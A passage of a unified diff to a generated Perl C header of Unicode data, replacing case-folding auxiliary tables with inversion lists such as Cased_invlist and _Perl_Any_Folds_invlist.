CF_AUX_TABLE_22[] = { - 0x1F05, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_23[] = { - 0x1F06, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_24[] = { - 0x1F07, - 0x3B9 + 0x10CC0, + 0x10CF3, + 0x10CFA, + 0x10D00, + 0x10E60, + 0x10E7F, + 0x11000, + 0x1104E, + 0x11052, + 0x11070, + 0x1107F, + 0x110C2, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11144, + 0x11150, + 0x11177, + 0x11180, + 0x111CE, + 0x111D0, + 0x111E0, + 0x111E1, + 0x111F5, + 0x11200, + 0x11212, + 0x11213, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112AA, + 0x112B0, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1145A, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x11480, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115B6, + 0x115B8, + 0x115DE, + 0x11600, + 0x11645, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x11740, + 0x118A0, + 0x118F3, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C46, + 0x11C50, + 0x11C6D, + 0x11C70, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12470, + 0x12475, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF6, + 0x16B00, + 0x16B46, + 0x16B50, + 0x16B5A, + 0x16B5B, + 0x16B62, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9C, + 0x1BCA4, + 0x1D000, + 0x1D0F6, + 0x1D100, + 0x1D127, + 0x1D129, + 0x1D1E9, + 0x1D200, + 0x1D246, + 0x1D300, + 0x1D357, + 0x1D360, + 0x1D372, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D7CC, + 0x1D7CE, + 0x1DA8C, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8C7, + 0x1E8D7, + 0x1E900, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1EEF0, + 0x1EEF2, + 0x1F000, + 0x1F02C, + 0x1F030, + 0x1F094, + 0x1F0A0, + 0x1F0AF, + 0x1F0B1, + 0x1F0C0, + 0x1F0C1, + 0x1F0D0, + 0x1F0D1, + 0x1F0F6, + 0x1F100, + 0x1F10D, + 0x1F110, + 0x1F12F, + 0x1F130, + 0x1F16C, + 0x1F170, + 0x1F1AD, + 0x1F1E6, + 0x1F203, + 0x1F210, + 0x1F23C, + 0x1F240, + 0x1F249, + 0x1F250, + 0x1F252, + 0x1F300, + 0x1F6D3, + 0x1F6E0, + 0x1F6ED, + 0x1F6F0, + 0x1F6F7, + 0x1F700, + 0x1F774, + 0x1F780, + 0x1F7D5, + 0x1F800, + 0x1F80C, + 0x1F810, + 0x1F848, + 0x1F850, + 0x1F85A, + 0x1F860, + 0x1F888, + 0x1F890, + 0x1F8AE, + 0x1F910, + 0x1F91F, + 0x1F920, + 0x1F928, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93F, + 0x1F940, + 0x1F94C, + 0x1F950, + 0x1F95F, + 0x1F980, + 0x1F992, + 0x1F9C0, + 0x1F9C1, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, + 0xF0000, + 0xFFFFE, + 0x100000, + 0x10FFFE }; -static const unsigned int CF_AUX_TABLE_25[] = { +static const UV Cased_invlist[] = { /* for ASCII/Latin1 */ + 271, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x41, + 0x5B, + 0x61, + 0x7B, + 0xAA, + 0xAB, + 0xB5, + 0xB6, + 0xBA, + 0xBB, + 0xC0, + 0xD7, + 0xD8, + 0xF7, + 0xF8, + 0x1BB, + 0x1BC, + 0x1C0, + 0x1C4, + 0x294, + 0x295, + 0x2B9, + 0x2C0, + 0x2C2, + 0x2E0, + 0x2E5, + 0x345, + 0x346, + 0x370, + 0x374, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, + 0x48A, + 0x530, + 0x531, + 0x557, + 0x561, + 0x588, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1C80, + 0x1C89, + 0x1D00, + 0x1DC0, + 0x1E00, + 0x1F16, + 0x1F18, + 0x1F1E, 0x1F20, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_26[] = { - 0x1F21, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_27[] = { - 0x1F22, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_28[] = { - 0x1F23, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_29[] = { - 0x1F24, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_30[] = { - 0x1F25, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_31[] = { - 0x1F26, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_32[] = { - 0x1F27, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_33[] = { - 0x1F60, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_34[] = { - 0x1F61, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_35[] = { - 0x1F62, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_36[] = { - 0x1F63, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_37[] = { - 0x1F64, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_38[] = { - 0x1F65, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_39[] = { - 0x1F66, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_40[] = { - 0x1F67, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_41[] = { - 0x1F70, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_42[] = { - 0x3B1, - 0x3B9 + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, + 0x212F, + 0x2135, + 0x2139, + 0x213A, + 0x213C, + 0x2140, + 0x2145, + 0x214A, + 0x214E, + 0x214F, + 0x2160, + 0x2180, + 0x2183, + 0x2185, + 0x24B6, + 0x24EA, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CE5, + 0x2CEB, + 0x2CEF, + 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0xA640, + 0xA66E, + 0xA680, + 0xA69E, + 0xA722, + 0xA788, + 0xA78B, + 0xA78F, + 0xA790, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F8, + 0xA7FB, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, + 0xABC0, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFF21, + 0xFF3B, + 0xFF41, + 0xFF5B, + 0x10400, + 0x10450, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x118A0, + 0x118E0, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D6C1, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6FB, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D735, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D76F, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D7A9, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, + 0x1E900, + 0x1E944, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A }; -static const unsigned int CF_AUX_TABLE_43[] = { - 0x3AC, - 0x3B9 -}; +#endif /* defined(PERL_IN_PERL_C) */ -static const unsigned int CF_AUX_TABLE_44[] = { - 0x3B1, - 0x342 -}; +#if defined(PERL_IN_REGCOMP_C) -static const unsigned int CF_AUX_TABLE_45[] = { - 0x3B1, +static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for ASCII/Latin1 */ + 45, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x2BC, + 0x2BD, + 0x308, + 0x309, + 0x313, + 0x314, 0x342, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_46[] = { - 0x1F74, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_47[] = { - 0x3B7, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_48[] = { + 0x343, + 0x3AC, + 0x3AD, 0x3AE, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_49[] = { - 0x3B7, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_50[] = { + 0x3AF, + 0x3B1, + 0x3B2, 0x3B7, - 0x342, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_51[] = { - 0x3B9, - 0x308, - 0x300 -}; - -static const unsigned int CF_AUX_TABLE_52[] = { - 0x3B9, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_53[] = { + 0x3B8, 0x3B9, - 0x308, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_54[] = { - 0x3C5, - 0x308, - 0x300 -}; - -static const unsigned int CF_AUX_TABLE_55[] = { + 0x3BA, 0x3C1, - 0x313 -}; - -static const unsigned int CF_AUX_TABLE_56[] = { - 0x3C5, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_57[] = { + 0x3C2, 0x3C5, - 0x308, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_58[] = { - 0x1F7C, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_59[] = { + 0x3C6, 0x3C9, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_60[] = { + 0x3CA, 0x3CE, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_61[] = { - 0x3C9, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_62[] = { - 0x3C9, - 0x342, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_63[] = { - 0x66, - 0x66 -}; - -static const unsigned int CF_AUX_TABLE_64[] = { - 0x66, - 0x69 -}; - -static const unsigned int CF_AUX_TABLE_65[] = { - 0x66, - 0x6C -}; - -static const unsigned int CF_AUX_TABLE_66[] = { - 0x66, - 0x66, - 0x69 -}; - -static const unsigned int CF_AUX_TABLE_67[] = { - 0x66, - 0x66, - 0x6C -}; - -static const unsigned int CF_AUX_TABLE_68[] = { - 0x73, - 0x74 -}; - -static const unsigned int CF_AUX_TABLE_69[] = { - 0x574, - 0x576 -}; - -static const unsigned int CF_AUX_TABLE_70[] = { - 0x574, - 0x565 -}; - -static const unsigned int CF_AUX_TABLE_71[] = { + 0x3CF, + 0x565, + 0x566, 0x574, - 0x56B -}; - -static const unsigned int CF_AUX_TABLE_72[] = { + 0x575, 0x57E, - 0x576 -}; - -static const unsigned int CF_AUX_TABLE_73[] = { - 0x574, - 0x56D -}; - -static const unsigned int * const CF_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - CF_AUX_TABLE_1, - CF_AUX_TABLE_2, - CF_AUX_TABLE_3, - CF_AUX_TABLE_4, - CF_AUX_TABLE_5, - CF_AUX_TABLE_6, - CF_AUX_TABLE_7, - CF_AUX_TABLE_8, - CF_AUX_TABLE_9, - CF_AUX_TABLE_10, - CF_AUX_TABLE_11, - CF_AUX_TABLE_12, - CF_AUX_TABLE_13, - CF_AUX_TABLE_14, - CF_AUX_TABLE_15, - CF_AUX_TABLE_16, - CF_AUX_TABLE_17, - CF_AUX_TABLE_18, - CF_AUX_TABLE_19, - CF_AUX_TABLE_20, - CF_AUX_TABLE_21, - CF_AUX_TABLE_22, - CF_AUX_TABLE_23, - CF_AUX_TABLE_24, - CF_AUX_TABLE_25, - CF_AUX_TABLE_26, - CF_AUX_TABLE_27, - CF_AUX_TABLE_28, - CF_AUX_TABLE_29, - CF_AUX_TABLE_30, - CF_AUX_TABLE_31, - CF_AUX_TABLE_32, - CF_AUX_TABLE_33, - CF_AUX_TABLE_34, - CF_AUX_TABLE_35, - CF_AUX_TABLE_36, - CF_AUX_TABLE_37, - CF_AUX_TABLE_38, - CF_AUX_TABLE_39, - CF_AUX_TABLE_40, - CF_AUX_TABLE_41, - CF_AUX_TABLE_42, - CF_AUX_TABLE_43, - CF_AUX_TABLE_44, - CF_AUX_TABLE_45, - CF_AUX_TABLE_46, - CF_AUX_TABLE_47, - CF_AUX_TABLE_48, - CF_AUX_TABLE_49, - CF_AUX_TABLE_50, - CF_AUX_TABLE_51, - CF_AUX_TABLE_52, - CF_AUX_TABLE_53, - CF_AUX_TABLE_54, - CF_AUX_TABLE_55, - CF_AUX_TABLE_56, - CF_AUX_TABLE_57, - CF_AUX_TABLE_58, - CF_AUX_TABLE_59, - CF_AUX_TABLE_60, - CF_AUX_TABLE_61, - CF_AUX_TABLE_62, - CF_AUX_TABLE_63, - CF_AUX_TABLE_64, - CF_AUX_TABLE_65, - CF_AUX_TABLE_66, - CF_AUX_TABLE_67, - CF_AUX_TABLE_68, - CF_AUX_TABLE_69, - CF_AUX_TABLE_70, - CF_AUX_TABLE_71, - CF_AUX_TABLE_72, - CF_AUX_TABLE_73 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 CF_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* CF_AUX_TABLE_1 */, - 2 /* CF_AUX_TABLE_2 */, - 2 /* CF_AUX_TABLE_3 */, - 2 /* CF_AUX_TABLE_4 */, - 3 /* CF_AUX_TABLE_5 */, - 3 /* CF_AUX_TABLE_6 */, - 2 /* CF_AUX_TABLE_7 */, - 2 /* CF_AUX_TABLE_8 */, - 2 /* CF_AUX_TABLE_9 */, - 2 /* CF_AUX_TABLE_10 */, - 2 /* CF_AUX_TABLE_11 */, - 2 /* CF_AUX_TABLE_12 */, - 2 /* CF_AUX_TABLE_13 */, - 3 /* CF_AUX_TABLE_14 */, - 3 /* CF_AUX_TABLE_15 */, - 3 /* CF_AUX_TABLE_16 */, - 2 /* CF_AUX_TABLE_17 */, - 2 /* CF_AUX_TABLE_18 */, - 2 /* CF_AUX_TABLE_19 */, - 2 /* CF_AUX_TABLE_20 */, - 2 /* CF_AUX_TABLE_21 */, - 2 /* CF_AUX_TABLE_22 */, - 2 /* CF_AUX_TABLE_23 */, - 2 /* CF_AUX_TABLE_24 */, - 2 /* CF_AUX_TABLE_25 */, - 2 /* CF_AUX_TABLE_26 */, - 2 /* CF_AUX_TABLE_27 */, - 2 /* CF_AUX_TABLE_28 */, - 2 /* CF_AUX_TABLE_29 */, - 2 /* CF_AUX_TABLE_30 */, - 2 /* CF_AUX_TABLE_31 */, - 2 /* CF_AUX_TABLE_32 */, - 2 /* CF_AUX_TABLE_33 */, - 2 /* CF_AUX_TABLE_34 */, - 2 /* CF_AUX_TABLE_35 */, - 2 /* CF_AUX_TABLE_36 */, - 2 /* CF_AUX_TABLE_37 */, - 2 /* CF_AUX_TABLE_38 */, - 2 /* CF_AUX_TABLE_39 */, - 2 /* CF_AUX_TABLE_40 */, - 2 /* CF_AUX_TABLE_41 */, - 2 /* CF_AUX_TABLE_42 */, - 2 /* CF_AUX_TABLE_43 */, - 2 /* CF_AUX_TABLE_44 */, - 3 /* CF_AUX_TABLE_45 */, - 2 /* CF_AUX_TABLE_46 */, - 2 /* CF_AUX_TABLE_47 */, - 2 /* CF_AUX_TABLE_48 */, - 2 /* CF_AUX_TABLE_49 */, - 3 /* CF_AUX_TABLE_50 */, - 3 /* CF_AUX_TABLE_51 */, - 2 /* CF_AUX_TABLE_52 */, - 3 /* CF_AUX_TABLE_53 */, - 3 /* CF_AUX_TABLE_54 */, - 2 /* CF_AUX_TABLE_55 */, - 2 /* CF_AUX_TABLE_56 */, - 3 /* CF_AUX_TABLE_57 */, - 2 /* CF_AUX_TABLE_58 */, - 2 /* CF_AUX_TABLE_59 */, - 2 /* CF_AUX_TABLE_60 */, - 2 /* CF_AUX_TABLE_61 */, - 3 /* CF_AUX_TABLE_62 */, - 2 /* CF_AUX_TABLE_63 */, - 2 /* CF_AUX_TABLE_64 */, - 2 /* CF_AUX_TABLE_65 */, - 3 /* CF_AUX_TABLE_66 */, - 3 /* CF_AUX_TABLE_67 */, - 2 /* CF_AUX_TABLE_68 */, - 2 /* CF_AUX_TABLE_69 */, - 2 /* CF_AUX_TABLE_70 */, - 2 /* CF_AUX_TABLE_71 */, - 2 /* CF_AUX_TABLE_72 */, - 2 /* CF_AUX_TABLE_73 */ + 0x57F, + 0x1F00, + 0x1F08, + 0x1F20, + 0x1F28, + 0x1F60, + 0x1F68, + 0x1F70, + 0x1F71, + 0x1F74, + 0x1F75, + 0x1F7C, + 0x1F7D }; -static const int Case_Folding_invmap[] = { /* for ASCII/Latin1 */ - 0, +static const UV _Perl_Any_Folds_invlist[] = { /* for ASCII/Latin1 */ + 253, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x41, + 0x5B, 0x61, - 0, - 0x3BC, - 0, - 0xE0, - 0, + 0x7B, + 0xB5, + 0xB6, + 0xC0, + 0xD7, + 0xD8, + 0xF7, 0xF8, - CF_use_AUX_TABLE_1, - 0, - 0x101, - 0, - 0x103, - 0, - 0x105, - 0, - 0x107, - 0, - 0x109, - 0, - 0x10B, - 0, - 0x10D, - 0, - 0x10F, - 0, - 0x111, - 0, - 0x113, - 0, - 0x115, - 0, - 0x117, - 0, - 0x119, - 0, - 0x11B, - 0, - 0x11D, - 0, - 0x11F, - 0, - 0x121, - 0, - 0x123, - 0, - 0x125, - 0, - 0x127, - 0, - 0x129, - 0, - 0x12B, - 0, - 0x12D, - 0, - 0x12F, - 0, - CF_use_AUX_TABLE_2, - 0, - 0x133, - 0, - 0x135, - 0, - 0x137, - 0, - 0x13A, - 0, - 0x13C, - 0, - 0x13E, - 0, - 0x140, - 0, - 0x142, - 0, - 0x144, - 0, - 0x146, - 0, - 0x148, - 0, - CF_use_AUX_TABLE_3, - 0x14B, - 0, - 0x14D, - 0, - 0x14F, - 0, - 0x151, - 0, - 0x153, - 0, - 0x155, - 0, - 0x157, - 0, - 0x159, - 0, - 0x15B, - 0, - 0x15D, - 0, - 0x15F, - 0, - 0x161, - 0, - 0x163, - 0, - 0x165, - 0, - 0x167, - 0, - 0x169, - 0, - 0x16B, - 0, - 0x16D, - 0, - 0x16F, - 0, - 0x171, - 0, - 0x173, - 0, - 0x175, - 0, - 0x177, - 0, - 0xFF, - 0x17A, - 0, - 0x17C, - 0, - 0x17E, - 0, - 0x73, - 0, - 0x253, - 0x183, - 0, - 0x185, - 0, - 0x254, - 0x188, - 0, + 0x131, + 0x132, + 0x138, + 0x139, + 0x18D, + 0x18E, + 0x19B, + 0x19C, + 0x1AA, + 0x1AC, + 0x1BA, + 0x1BC, + 0x1BE, + 0x1BF, + 0x1C0, + 0x1C4, + 0x221, + 0x222, + 0x234, + 0x23A, + 0x255, 0x256, - 0x18C, - 0, - 0x1DD, + 0x258, 0x259, + 0x25A, 0x25B, - 0x192, - 0, + 0x25D, 0x260, + 0x262, 0x263, - 0, - 0x269, + 0x264, + 0x265, + 0x267, 0x268, - 0x199, - 0, + 0x26D, 0x26F, - 0x272, - 0, + 0x270, + 0x271, + 0x273, 0x275, - 0x1A1, - 0, - 0x1A3, - 0, - 0x1A5, - 0, + 0x276, + 0x27D, + 0x27E, 0x280, - 0x1A8, - 0, + 0x281, 0x283, - 0, - 0x1AD, - 0, - 0x288, - 0x1B0, - 0, - 0x28A, - 0x1B4, - 0, - 0x1B6, - 0, + 0x284, + 0x287, + 0x28D, 0x292, - 0x1B9, - 0, - 0x1BD, - 0, - 0x1C6, - 0x1C6, - 0, - 0x1C9, - 0x1C9, - 0, - 0x1CC, - 0x1CC, - 0, - 0x1CE, - 0, - 0x1D0, - 0, - 0x1D2, - 0, - 0x1D4, - 0, - 0x1D6, - 0, - 0x1D8, - 0, - 0x1DA, - 0, - 0x1DC, - 0, - 0x1DF, - 0, - 0x1E1, - 0, - 0x1E3, - 0, - 0x1E5, - 0, - 0x1E7, - 0, - 0x1E9, - 0, - 0x1EB, - 0, - 0x1ED, - 0, - 0x1EF, - 0, - CF_use_AUX_TABLE_4, - 0x1F3, - 0x1F3, - 0, - 0x1F5, - 0, - 0x195, - 0x1BF, - 0x1F9, - 0, - 0x1FB, - 0, - 0x1FD, - 0, - 0x1FF, - 0, - 0x201, - 0, - 0x203, - 0, - 0x205, - 0, - 0x207, - 0, - 0x209, - 0, - 0x20B, - 0, - 0x20D, - 0, - 0x20F, - 0, - 0x211, - 0, - 0x213, - 0, - 0x215, - 0, - 0x217, - 0, - 0x219, - 0, - 0x21B, - 0, - 0x21D, - 0, - 0x21F, - 0, - 0x19E, - 0, - 0x223, - 0, - 0x225, - 0, - 0x227, - 0, - 0x229, - 0, - 0x22B, - 0, - 0x22D, - 0, - 0x22F, - 0, - 0x231, - 0, - 0x233, - 0, - 0x2C65, - 0x23C, - 0, - 0x19A, - 0x2C66, - 0, - 0x242, - 0, - 0x180, - 0x289, - 0x28C, - 0x247, - 0, - 0x249, - 0, - 0x24B, - 0, - 0x24D, - 0, - 0x24F, - 0, - 0x3B9, - 0, - 0x371, - 0, - 0x373, - 0, - 0x377, - 0, - 0x3F3, - 0, - 0x3AC, - 0, - 0x3AD, - 0, - 0x3CC, - 0, - 0x3CD, - CF_use_AUX_TABLE_5, - 0x3B1, - 0, - 0x3C3, - 0, - CF_use_AUX_TABLE_6, - 0, - 0x3C3, - 0, - 0x3D7, - 0x3B2, - 0x3B8, - 0, - 0x3C6, - 0x3C0, - 0, - 0x3D9, - 0, - 0x3DB, - 0, - 0x3DD, - 0, - 0x3DF, - 0, - 0x3E1, - 0, - 0x3E3, - 0, - 0x3E5, - 0, - 0x3E7, - 0, - 0x3E9, - 0, - 0x3EB, - 0, - 0x3ED, - 0, - 0x3EF, - 0, - 0x3BA, - 0x3C1, - 0, - 0x3B8, - 0x3B5, - 0, - 0x3F8, - 0, - 0x3F2, - 0x3FB, - 0, + 0x293, + 0x29D, + 0x29F, + 0x2BC, + 0x2BD, + 0x2BE, + 0x2BF, + 0x300, + 0x302, + 0x307, + 0x309, + 0x30A, + 0x30B, + 0x30C, + 0x30D, + 0x313, + 0x314, + 0x331, + 0x332, + 0x342, + 0x343, + 0x345, + 0x346, + 0x370, + 0x374, + 0x376, + 0x378, 0x37B, - 0x450, - 0x430, - 0, - 0x461, - 0, - 0x463, - 0, - 0x465, - 0, - 0x467, - 0, - 0x469, - 0, - 0x46B, - 0, - 0x46D, - 0, - 0x46F, - 0, - 0x471, - 0, - 0x473, - 0, - 0x475, - 0, - 0x477, - 0, - 0x479, - 0, - 0x47B, - 0, - 0x47D, - 0, - 0x47F, - 0, - 0x481, - 0, - 0x48B, - 0, - 0x48D, - 0, - 0x48F, - 0, - 0x491, - 0, - 0x493, - 0, - 0x495, - 0, - 0x497, - 0, - 0x499, - 0, - 0x49B, - 0, - 0x49D, - 0, - 0x49F, - 0, - 0x4A1, - 0, - 0x4A3, - 0, - 0x4A5, - 0, - 0x4A7, - 0, - 0x4A9, - 0, - 0x4AB, - 0, - 0x4AD, - 0, - 0x4AF, - 0, - 0x4B1, - 0, - 0x4B3, - 0, - 0x4B5, - 0, - 0x4B7, - 0, - 0x4B9, - 0, - 0x4BB, - 0, - 0x4BD, - 0, - 0x4BF, - 0, - 0x4CF, - 0x4C2, - 0, - 0x4C4, - 0, - 0x4C6, - 0, - 0x4C8, - 0, - 0x4CA, - 0, - 0x4CC, - 0, - 0x4CE, - 0, - 0x4D1, - 0, - 0x4D3, - 0, - 0x4D5, - 0, - 0x4D7, - 0, - 0x4D9, - 0, - 0x4DB, - 0, - 0x4DD, - 0, - 0x4DF, - 0, - 0x4E1, - 0, - 0x4E3, - 0, - 0x4E5, - 0, - 0x4E7, - 0, - 0x4E9, - 0, - 0x4EB, - 0, - 0x4ED, 